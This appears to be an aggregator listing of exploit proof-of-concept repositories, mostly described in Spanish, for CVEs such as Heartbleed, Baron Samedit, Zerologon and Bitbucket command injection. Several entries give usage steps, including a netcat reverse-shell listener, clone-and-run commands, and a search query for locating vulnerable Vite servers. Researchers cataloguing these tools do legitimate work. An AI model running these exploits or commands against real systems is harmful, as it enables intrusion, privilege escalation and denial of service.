heartbleed-PoC

Heartbleed PoC A sample example of the Heartbleed attack using the server https://www.cloudflarechallenge.com/ made for trying this attack. First, the two best explanations I read on the subject : http://www.seancassidy.me/diagnosis-of-the-openssl-heartbleed-bug.html http://xkcd.com/1354/ Exploit...

CVE-2022-25765

Exploit para CVE-2022-25765 Un pequeño exploit PoC para CVE-2022-25765, PDFkit-CMD-Injection Uso 1. Inicia un listener de netcat en tu máquina de ataque: root@kitploit: nc -lvnp 4444 2. Ejecuta el exploit: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT...

CVE-2020-0787-EXP-ALL-WINDOWS-VERSION

CVE-2020-0787-EXP-ALL-WINDOWS-VERSION Disclaimer The author's PoC is for research purposes only. If readers use this PoC for other actions, the author is not responsible. Introduction CVE-2020-0787-EXP Support ALL Windows Version...

CVE-2018-4879

git clone https://github.com/Sch01ar/CVE-2018-4878.git cd CVE-2018-4878/ python cve-2018-4878.py...

CVE-2020-16898

CVE-2020-16898 PoC Bad Neighbor BSOD DoS exploit ¡Úselo bajo su propio riesgo! Uso: CVE-2020-16898.exe "IP de destino aquí"...

CVE-2020-0683

CVE-2020-0683 PoC original enviado a MSRC. Asignado a CVE-2020-0683 - Elevación de privilegios del Instalador de Windows https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0683 Código fuente para Visual Studio C++ 2017 Por favor, lea el PDF que describe todos los hallazgo...

CVE-2018-15499

CVE-2018-15499 Código de PoC para CVE-2018-15499 Puedes obtener más información en https://downwithup.github.io/CVEPosts.html Software vulnerable Descarga @: http://www.gearsoftware.com/support/drivers.php...

CVE-2021-3156

CVE-2021-3156 PoC Introducción Este es un exploit para la vulnerabilidad sudo CVE-2021-3156 denominada Baron Samedit por Qualys. Uso compilar: root@kitploit: $ make listar objetivos: root@kitploit: $ ./sudo-hax-me-a-sandwich ejecutar: root@kitploit: $ ./sudo-hax-me-a-sandwich modo manual:...

CVE-2023-3460

CVE-2023-3460 Exploit para CVE-2023-3460 - Acceso de administrador no autorizado para el plugin Ultimate Member. El PoC está ahora publicado. ¡Fue creado solo con fines educativos/de investigación! ¡Úselo bajo su propio riesgo!...

CVE-2024-21338_PoC

Exploit poc para CVE-2024-21338...

CVE-2020-3956

CVE-2020-3956 PoC de explotación para VMware Cloud Director RCE CVE-2020-3956 El aviso técnico está disponible aquí: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/...

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE-

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE- Referencia: https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html exploit.py - código python para ejecutar...

CVE-2023-21554

CVE-2023-21554-PoC CVE-2023-21554 Windows MessageQueuing PoC， The sign of Poc success is the crash of the mqsvc.exe process, and there is no pop-up message, which needs to be seen in a process monitor-like program Execute command in windows terminal or command prompt python poc.py Enter IP addres...

CVE-2024-30043-XXE

CVE-2024-30043-XXE Créditos El impacto de la vulnerabilidad es limitado por ahora, pero gracias a https://x.com/chudyPB por proporcionar una ingeniosa idea de bypass. https://x.com/chudyPB...

CVE-2025-30208-EXP

CVE-2025-30208-EXP Vulnerabilidad de lectura arbitraria de archivos en el servidor de desarrollo Vite CVE-2025-30208, con amplia cobertura, explotación simple y sin restricciones, ¡causando un gran daño! Sentencia de reconocimiento Fofa: root@kitploit: body="/@vite/client" Sentencia de...

CVE-2014-6287

Poc exploitbash script bash.webm About the exploit You can get reverse shell with .sh file in Linux You can get reverse shell with .py file in Windows and Linux in windows, you need to install netcat You must specify the url example: http://target.com/ using for .py: python exploit.py using for...

zer0dump

Zer0Dump Zer0dump es un PoC de exploit/herramienta para abusar de las vulnerabilidades asociadas con CVE-2020-1472 Zerologon con el fin de iniciar una toma de control completa del sistema de un controlador de dominio de Windows sin parchear. Agradecimientos especiales a @dirkjanm y @SecureAuthCor...

dnspooq

dnspooq DNSpooq PoC - envenenamiento de caché de dnsmasq CVE-2020-25686, CVE-2020-25684, CVE-2020-25685 Solo con fines educativos Requisitos Docker compose Docker Exploit Iniciar contenedores root@kitploit: $ docker-compose up -d Ejecutar exploit.py root@kitploit: $ docker-compose exec attacker...

CVE-2022-36804-PoC-Exploit

CVE-2022-36804-PoC-Exploit Un exploit PoC algo confiable para CVE-2022-36804 inyección crítica de comandos en BitBucket. Este ataque generalmente requiere que los repositorios públicos estén habilitados; sin embargo, las cookies de sesión también son compatibles con este exploit. Nota: este explo...

CVE-2022-34918-LPE-PoC

CVE-2022-34918 PoC de LPE Exploit de LPE para CVE-2022-34918. Este exploit ha sido escrito para el kernel Linux ubuntu 5.15.0-39-generic Puedes encontrar el artículo asociado en nuestro blog Uso getroot debería estar en la carpeta actual root@kitploit: $ ls getroot poc $ ./poc...